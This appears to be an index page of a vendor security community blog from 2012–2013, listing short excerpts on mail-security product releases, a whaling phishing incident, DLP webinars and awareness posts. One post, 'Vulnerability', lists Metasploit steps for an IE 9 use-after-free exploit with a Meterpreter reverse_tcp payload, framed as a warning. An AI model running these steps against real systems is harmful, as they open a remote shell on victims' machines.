Security Community Blog

K S Sharma | 17 Feb 2013 | 1 comment

Dear All,

As day by day security threat are increasing and u need to more proactive approach to find latest details and make security tighten. As hackers group are continously working to break out security measures but at the same time organization spending lots of resource and money to make bussiness smooth and secure.

I think this is not just spending the money on IT security and having securty experts. makes u secure by implementing the security solutions. It is equally important to you how intellegently and smartly you take care each sides of security threats and configure it accordingly.

Please also read below threads for getting updates on some recent security threats

Shamoon virus targets energy sector infrastructure

...

Symantec Mail Security for Microsoft Exchange 7.0 achieves GA, Monday Dec. 3 2012

pauldchavez | 03 Dec 2012 | 0 comments

Symantec would like to announce the general availability of Symantec Mail Security for Microsoft Exchange v7.0 (SMSMSE 7.0). Microsoft Exchange continues to be the leading application used for business communication across email and organizations must protect this environment from email-born threats and the loss of sensitive data. Symantec Mail Security for Microsoft Exchange v7.0 fully supports the latest Microsoft Exchange versions to maximize protection.

Summary of New Features:

• Support for Microsoft Exchange 2013 and Microsoft®Hosted Exchange environments

• Out-of-the-box content filtering templates for protection against data loss

• Improved anti-malware and anti-spam effectiveness through advanced heuristics

• Improved manageability with full message quarantine

• Up to 30 percent performance improvement for mailbox scanning

• Microsoft® Systems Center Operation Manager 2007 R2 support for...

Maintaining Systems

Pritesh J. Chauhan | 11 Oct 2012 | 0 comments

Over the last few weeks we have been working with a number of customers who have large administrative overheads when protecting their IT Infrastructure.

When selecting a new service they have either gone to tender or bought an off the shelf solution upon recommendation from colleagues/friends.

Whilst this may seem great at first, over the years this has built up a number of systems each requiring their own management systems, portals, update systems and most importantly, they lack integration between solutions. Whilst this may seem like a large problem, it gets worse - the issue with these customers was that they had multiple products performing conflicting tasks.

One example from a customer who had one product that is designed to AV scan contents of a USB pen drive upon connection to the machine. Another product to encrypt USB pen drives upon connection. This is great if the admin could...

To Err is Human – Part 2

Matthew R. Ellison | 10 Oct 2012 | 0 comments

This blog continues from Part One.

Firstly we looked at how the email got through in the first place. The technique of an email coming from one place, but appearing to come from another is known as spoofing. Often in larger organisations it is quite normal to have third party applications or companies who legitimately spoof email – Marketing, HR, Cloud based application vendors and many more.

This is what had happened here, some issues with an external vendor had caused them to turn off the Content Control rule to allow spoofed email to be delivered. Of course what should have happened is for an exception to be created for that particular sender. It was only a temporary change during testing, but had never been fixed (I am not going to comment here on their testing processes).

That was easy...

To Err is Human – Part 1

Matthew R. Ellison | 10 Oct 2012 | 0 comments

Over the past couple of weeks we have been working very closely with a customer who was the victim of a phishing scam. Specifically it was a whale phishing (or whaling) technique, a type of spear phishing attack that is directly targeted at senior individuals within an organisation. (The opposite of Whale Phishing is Minnow Phishing or Minnowing where the attack is specifically directed at the apparently less significant members of a company such as receptionists or call centre workers – as seen in the recent Norton & Yahoo Cybergeddon movie)

Phishing is a fascinating area of security as it typically relies on our humanity (or you can read that as stupidity) to be successful. I see this with family members who quite happily delete emails from banks they don’t have accounts with, yet contact me to ask whether ‘this email that’...

Vulnerability

Fabiano.Pessoa | 27 Sep 2012 | 0 comments

Hello
We got a discovered vulnerability in IE 9 on 17/09/2012 which can be exploited as following command in Backtrack 5 R2

Metasploit:

- msfupdate
- Use exploit / windows / browser / ie_execcommand_uaf
- Set SRVHOST 192,168 ...
- Set PAYLOAD windows / Meterpreter / reverse_tcp
- Set LHOST 192,168 ...
- exploit

Let's beware the networking.

hugs

Learn How to Protect Your Hardest-to-Find IP with Intelligent DLP

Jhildy11 Xcend Group | 14 Aug 2012 | 0 comments

In case you missed it, see the archived version from last weeks webinar " Learn How to Protect Even Your Hardest-to-Find IP with Intelligent Data Loss Prevention"

With the average cost of a breach now topping an incomprehensible $7 million, more and more organizations are looking to Data Loss Prevention solutions to protect their highest value data. Join XCEND, a Platinum Symantec partner and DLP Master Specialist, to learn how you can accurately detect and protect all types of confidential data wherever it is stored or used. (54 min)

Here's the Link to see the Archived Version: https://www2.gotomeeting.com/register/430279362 or go to our website at www.xcendgroup.com to see all of...

Webcast: Symantec Mail Security for Exchange 7.0 Preview

pauldchavez | 12 Jul 2012 | 0 comments

Time: 8:30 am, Pacific Daylight Time (San Francisco, GMT-07:00)
Meeting Number: 598 795 263
Meeting Password: smsmse7

In preparation for the Symantec Mail Security for Microsoft Exchange 7.0 Beta, our Engineering team would like to invite you to a sneak preview of all the exciting new features that are integrated with SMSMSE7.0. Quality is our number one goal and we would like your help to ensure SMSMSE 7.0 is as high a quality release as possible. The Beta program will start on July 30th, 2012. For any queries please contact us at smsmse-beta-support@symantec.com. To register for the Beta please go to the following:

https://symbeta.symantec.com/callout/default.html?callid=A70911E47F1D4E69893E0D807D1BEC21

Highlights of this release

...

Symantec Mail Security Wins Reader's Choice for Exchange AntiVirus

Pamela Reese | 25 Apr 2012 | 0 comments

MSExchange.org holds a monthly reader's poll to discover which product is preferred by Exchange administrators in a particular category or third-party solutions for Microsoft Exchange Server. March's polling topic was Exchange AntiVirus and Symantec Mail Security earned the top spot with 19% of the popular vote. http://bit.ly/ISuJF6

"Our Readers' Choice Awards give visitors to our site the opportunity to vote for the products they view as the very best in their respective category" - said Sean Buttigieg, MSExchange.org manager. "MSExchange.org users are specialists in their field who encounter various solutions for Exchange Server at the workplace. Their vote serves as a solid peer-to-peer recommendation of the winning product."

MSExchange.org is a Microsoft Exchange Server 2010/2007/2003 resource site that attracts more than 800,000 Exchange...

Send us your cloud security experiences from the field!

Beverly van de Velde | 29 Mar 2012 | 0 comments

Education Enablement Services is developing a Symantec Cloud Security Essentials course that combines the CSA training in order to achieve the CCSK credential & a Symantec Certified Professional (SCP) in Cloud Security credential.

This is an open call for your experiences with reviewing, designing, or implementing security solutions in a cloud environment. These could come from situations unique to the cloud (ex. compliance issues for systems in a public cloud) - OR - general security solutions addressed in cloud environments (ex. how existing encryption policies were applied to a cloud architecture).

We need your:
• Specific examples of security solutions in cloud environments
• Example cloud architectures – good or bad – implemented by customers
• Key questions, challenges, and concerns from customers migrating their infrastructure to cloud
...

Security Community Blog

Links

About Security Community Blog

Filter by:

Blog Tags